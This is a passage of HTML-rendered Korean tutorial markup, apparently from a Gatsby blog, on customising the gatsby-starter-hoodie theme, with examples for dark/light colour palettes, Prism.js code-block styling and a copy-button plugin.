&lt;span class=&quot;token selector&quot;&gt;h3&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.25rem&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 500&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;다크/라이트 테마 색상 커스터마이징&lt;/h2&gt;
&lt;p&gt;gatsby-starter-hoodie는 다크모드를 기본 지원합니다. 색상 설정은 테마 파일에서 관리합니다.&lt;/p&gt;
&lt;h3&gt;theme/index.js 수정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/assets/theme/index.js&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; light &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 배경 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;bodyBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#ffffff&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;cardBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#f8f9fa&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 텍스트 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#1a1a2e&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;textSecondary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#6c757d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;textTertiary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#adb5bd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 강조 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;primary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#0066cc&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;primaryLight&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#e7f1ff&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 경계선&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#e9ecef&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;borderLight&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#f1f3f5&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 인라인 코드&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;inlineCodeBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#f1f3f5&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;inlineCodeText&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#e74c3c&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 헤더&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;headerBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rgba(255, 255, 255, 0.85)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; dark &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 배경 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;bodyBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#1a1a2e&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;cardBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#16213e&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 텍스트 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#e0e0e0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;textSecondary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#a0a0a0&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;textTertiary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#707070&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 강조 색상&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;primary&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#4dabf7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;primaryLight&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#1a2744&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 경계선&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#2c3e50&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;borderLight&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#233554&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 인라인 코드&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;inlineCodeBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#2d2d2d&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;inlineCodeText&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#ff6b6b&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 헤더&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;headerBackground&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rgba(26, 26, 46, 0.85)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; light&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; dark &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;색상 팔레트 선택 팁&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;배경색&lt;/strong&gt;: 순백(&lt;code class=&quot;language-text&quot;&gt;#fff&lt;/code&gt;)보다 살짝 톤을 줄인 &lt;code class=&quot;language-text&quot;&gt;#fafafa&lt;/code&gt;나 &lt;code class=&quot;language-text&quot;&gt;#f8f9fa&lt;/code&gt;가 눈에 편합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;다크모드 배경&lt;/strong&gt;: 순검정(&lt;code class=&quot;language-text&quot;&gt;#000&lt;/code&gt;)보다 짙은 남색(&lt;code class=&quot;language-text&quot;&gt;#1a1a2e&lt;/code&gt;)이나 짙은 회색(&lt;code class=&quot;language-text&quot;&gt;#1e1e1e&lt;/code&gt;)이 부드럽습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;강조색(primary)&lt;/strong&gt;: 블로그의 정체성을 나타내는 색상을 하나 정해서 일관되게 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;대비&lt;/strong&gt;: 텍스트와 배경의 명암비가 최소 4.5:1 이상이 되어야 가독성이 보장됩니다. &lt;a href=&quot;https://webaim.org/resources/contrastchecker/&quot;&gt;WebAIM Contrast Checker&lt;/a&gt;에서 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;코드 블록 스타일링&lt;/h2&gt;
&lt;p&gt;기술 블로그에서 코드 블록은 매우 중요한 요소입니다. Gatsby는 기본적으로 &lt;strong&gt;Prism.js&lt;/strong&gt;를 사용합니다.&lt;/p&gt;
&lt;h3&gt;Prism.js 테마 변경&lt;/h3&gt;
&lt;p&gt;gatsby-starter-hoodie에서 사용하는 Prism 테마를 변경하려면 &lt;code class=&quot;language-text&quot;&gt;gatsby-browser.js&lt;/code&gt;에서 import를 수정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-browser.js&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 기본 테마 대신 원하는 테마를 import합니다&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// import &quot;prismjs/themes/prism.css&quot;           // 라이트&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// import &quot;prismjs/themes/prism-tomorrow.css&quot;  // 다크&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// import &quot;prismjs/themes/prism-okaidia.css&quot;   // Monokai 스타일&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;prismjs/themes/prism-vsc-dark-plus.css&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// VS Code 스타일&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;커스텀 코드 블록 스타일&lt;/h3&gt;
&lt;p&gt;Prism 테마를 직접 오버라이드하면 더 세밀하게 조정할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* src/assets/styles/code.css */&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/* 코드 블록 컨테이너 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.gatsby-highlight&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;margin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.5em 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 8px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;overflow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; hidden&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/* 코드 블록 본문 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.gatsby-highlight pre[class*=&quot;language-&quot;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #1e1e2e&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.2em&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 8px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;line-height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.6&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;overflow-x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; auto&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;-webkit-overflow-scrolling&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; touch&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/* 인라인 코드 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;:not(pre) &gt; code[class*=&quot;language-&quot;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;--inline-code-bg&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #f1f3f5&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;--inline-code-text&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #e74c3c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0.15em 0.4em&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 4px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0.9em&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;/* 코드 블록 언어 표시 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.gatsby-highlight pre[class*=&quot;language-&quot;]::before&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;attr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;class&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; absolute&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 0&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 2px 8px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 11px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #999&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;text-transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; uppercase&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;코드 복사 버튼 추가&lt;/h3&gt;
&lt;p&gt;코드 블록에 복사 버튼을 추가하면 사용자 경험이 크게 향상됩니다. &lt;code class=&quot;language-text&quot;&gt;gatsby-remark-code-buttons&lt;/code&gt; 플러그인을 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gatsby-remark-code-buttons&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby-config.js&lt;/code&gt;에 플러그인을 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-config.js&lt;/span&gt;
module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gatsby-transformer-remark&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gatsby-remark-code-buttons&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token literal-property property&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token literal-property property&quot;&gt;buttonText&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;복사&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;token literal-property property&quot;&gt;toasterText&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;복사되었습니다!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;token literal-property property&quot;&gt;toasterDuration&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;token comment&quot;&gt;// ... 기존 플러그인들&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;복사 버튼의 스타일도 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* 코드 복사 버튼 스타일 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;.gatsby-code-button-container&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; relative&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;.gatsby-code-button&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;position&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; absolute&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 8px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 8px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 255&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 4px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 4px 10px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #ccc&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
